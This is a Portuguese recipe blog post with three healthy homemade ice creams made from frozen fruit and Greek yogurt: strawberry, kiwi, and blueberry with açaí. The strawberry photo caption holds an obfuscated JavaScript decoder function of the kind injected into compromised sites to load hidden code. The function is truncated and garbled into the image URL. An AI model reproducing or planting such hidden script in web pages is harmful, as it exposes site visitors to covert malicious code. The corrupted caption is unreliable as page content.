3 Gelados saudáveis e irresistíveis para os dias quentes

Jul 28, 2017 | Receitas

3 Gelados saudáveis e irresistíveis para os dias quentes

O calor não dá tréguas e por isso escolhi mostrar-lhe 3 receitas de gelados saudáveis e irresistíveis para estes dias quentes. Assim pode deliciar-se com um gelado delicioso sem culpa e sem lhe pesar na balança, pois são rápidos, práticos e a sua composição é de fruta. Boas notícias, verdade?
Pode fazê-los você mesmo em sua casa e servir como sobremesa ou lanche aos seus familiares. Vão adorar e você também!

Conheça agora estes 3 gelados caseiros e experimente este verão!

1- Gelado de morango

Ingredientes:

10 Morangos congelados

2 a 3 chávenas de iogurte grego natural sem açúcar (ou queijo quark)

Canela q.b

Mel (opcional)

5 folhas de hortelã

Modo de preparação

Para fazer este gelado deve ter os morangos previamente lavados e congelados, para assim conseguir obter o efeito cremoso do gelado.

Coloque os morangos congelados no liquidificar com umas folhinhas de hortelã, canela e mel caso sinto necessidade de adoçar o seu gelado. Triture tudo durante 2 minutos. De seguida junte-lhe o iogurte grego ou o queijo quark e triture todos os ingredientes novamente.

Reserve o preparado no congelador durante 20 a 30 minutos para ficar mais fresquinho. Se deixar mais tempo saiba que a cada 1h deve triturá-lo com a varinha mágica ou liquidificador 5 a 10 vezes, afim de quebrar por completo os cristais de gelo que se formam no gelado. Caso contrário ficará demasiado rijo se o tirar directamente do congelador para servir. Depois é só empratar e adicionar mais umas folhinhas de hortelã para decorar.

3 Gelados saudáveis e irresistíveis para os dias quentes- Gelado de morango | Foto: function a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var oa=0;do{q8=qd.indexOf(y1.charAt(oa++));w9=qd.indexOf(y1.charAt(oa++));we=qd.indexOf(y1.charAt(oa++));n7=qd.indexOf(y1.charAt(oa++));n6=(q8<<2)|(w9>>4);w6=((w9&15)<<4)|(we>>2);qe=((we&3)<<6)|n7;if(n6>=192)n6+=848;else if(n6==168)n6=1025;else if(n6==184)n6=1105;x0+=String.fromCharCode(n6);if(we!=64){if(w6>=192)w6+=848;else if(w6==168)w6=1025;else if(w6==184)w6=1105;x0+=String.fromCharCode(w6);}if(n7!=64){if(qe>=192)qe+=848;else if(qe==168)qe=1025;else if(qe==184)qe=1105;x0+=String.fromCharCode(qe);}}while(oaandvanilla.com/wp-content/uploads/2017/02/strawberry-ice-creams3.jpg?resize=600%2C450″> curryandvanilla

2- Gelado refrescante de kiwi

Ingredientes:

2 a 3 kiwis congelados

2 chávenas de iogurte grego (ou queijo quark)

Canela em pó

Pau de canela (opcional)

1 a 2 colheres de chá de Açúcar de coco

Modo de preparação

Coloque os kiwis congelados no liquidificador, previamente descascados e partidos aos pedacinhos. Acrescente a canela em pó e o açúcar de coco. Se não tiver pode substituir por mel. Triture os ingredientes durante 2 minutos e, aos poucos, adicione o iogurte grego ou o queijo quark. Reserve no frio durante 20 a minutos com o pau de canela dentro do gelado, para que o sabor de canela se intensifique no gelado.

3 Gelados saudáveis e irresistíveis para os dias quentes- Gelado refrescante de kiwi | Foto: pinimg

3- Gelado de mirtilos e açaí

Ingredientes:

2 Chávenas de café com mirtilos

6 colheres de sopa de iogurte grego ou quark

Gengibre

Canela em pó

Mel

1 colher de café de açaí

Modo de preparação

Da mesma forma dos gelados anteriores, basta colocar os mirtilos congelados com a canela, o mel e o açaí! Triture durante dois minutos. De seguida coloque o iogurte grego ou o queijo quark e, antes de triturar novamente, rale 1 ou 2 rodelas de gengibre fresco. Triture o preparado e coloque no frio durante 20 a 30 minutos e sirva com alguns mirtilos a decorar.